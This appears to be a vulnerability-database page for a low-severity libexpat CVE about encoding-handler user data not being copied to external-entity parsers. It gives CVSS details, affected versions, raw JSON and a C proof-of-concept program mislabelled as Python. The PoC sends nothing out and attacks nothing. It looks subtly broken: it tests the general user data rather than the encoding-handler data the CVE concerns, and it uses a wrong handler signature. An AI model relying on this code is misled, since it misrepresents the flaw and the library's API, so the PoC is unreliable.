Security Vulnerability Report
中文
CVE-2026-24515 CVSS 2.9 LOW

CVE-2026-24515

Published: 2026-01-23 08:16:01
Last Modified: 2026-02-05 17:27:53

Description

In libexpat before 2.7.4, XML_ExternalEntityParserCreate does not copy unknown encoding handler user data.

CVSS Details

CVSS Score
2.9
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:libexpat_project:libexpat:*:*:*:*:*:*:*:* - VULNERABLE
libexpat < 2.7.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2026-24515 PoC - libexpat XML_ExternalEntityParserCreate User Data Issue * This PoC demonstrates the vulnerability where unknown encoding handler user data * is not properly copied when creating external entity parsers. * * Build: gcc -o cve_poc cve_poc.c -lexpat * Run: ./cve_poc */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "expat.h" /* Custom user data structure */ typedef struct { int id; char* name; } CustomUserData; /* Unknown encoding handler */ static int unknownEncoding(void* data, const XML_Char* name, XML_Encoding* info) { CustomUserData* userData = (CustomUserData*)data; printf("[DEBUG] Unknown encoding handler called with user data ID: %d\n", userData ? userData->id : -1); if (userData && userData->id == 0xDEAD) { return 0; /* Simulate encoding not supported */ } return -1; /* Unknown encoding */ } /* External entity reference handler */ static void externalEntityRefHandler(XML_Parser parser, const XML_Char* openEntityName, const XML_Char* base, const XML_Char* systemId, const XML_Char* publicId) { CustomUserData* userData = (CustomUserData*)XML_GetUserData(parser); printf("[DEBUG] External entity handler - User data ID: %d\n", userData ? userData->id : -1); /* The vulnerability: userData may be NULL or incorrect here */ if (userData == NULL || userData->id != 0xDEAD) { printf("[VULN] User data not properly copied!\n"); } } int main(int argc, char* argv[]) { XML_Parser mainParser; XML_Parser entityParser; CustomUserData userData; const char* xmlWithUnknownEncoding = "<?xml version=\"1.0\" encoding=\"CUSTOM_ENCODING\"?>" "<root>Test content</root>"; userData.id = 0xDEAD; userData.name = "TestUser"; /* Create main parser */ mainParser = XML_ParserCreate(NULL); if (!mainParser) { fprintf(stderr, "Failed to create main parser\n"); return 1; } /* Set unknown encoding handler with user data */ XML_SetUnknownEncodingHandler(mainParser, unknownEncoding, &userData); XML_SetUserData(mainParser, &userData); /* Create external entity parser (triggers the vulnerability) */ entityParser = XML_ExternalEntityParserCreate(mainParser, NULL, NULL); if (!entityParser) { fprintf(stderr, "Failed to create entity parser\n"); XML_ParserFree(mainParser); return 1; } /* Check if user data was properly copied to entity parser */ CustomUserData* entityUserData = (CustomUserData*)XML_GetUserData(entityParser); printf("[INFO] Main parser user data ID: %d\n", userData.id); printf("[INFO] Entity parser user data ID: %d\n", entityUserData ? entityUserData->id : -1); if (entityUserData == NULL || entityUserData->id != 0xDEAD) { printf("[VULNERABLE] CVE-2026-24515: User data not copied!\n"); } else { printf("[PATCHED] User data correctly copied.\n"); } XML_ParserFree(entityParser); XML_ParserFree(mainParser); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24515", "sourceIdentifier": "[email protected]", "published": "2026-01-23T08:16:01.490", "lastModified": "2026-02-05T17:27:53.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In libexpat before 2.7.4, XML_ExternalEntityParserCreate does not copy unknown encoding handler user data."}, {"lang": "es", "value": "En libexpat anterior a 2.7.4, XML_ExternalEntityParserCreate no copia los datos de usuario del manejador de codificación desconocido."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.4, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.5, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.0, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libexpat_project:libexpat:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.4", "matchCriteriaId": "8506CE35-F4E2-420E-99FB-FC24254BF7DE"}]}]}], "references": [{"url": "https://github.com/libexpat/libexpat/pull/1131", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}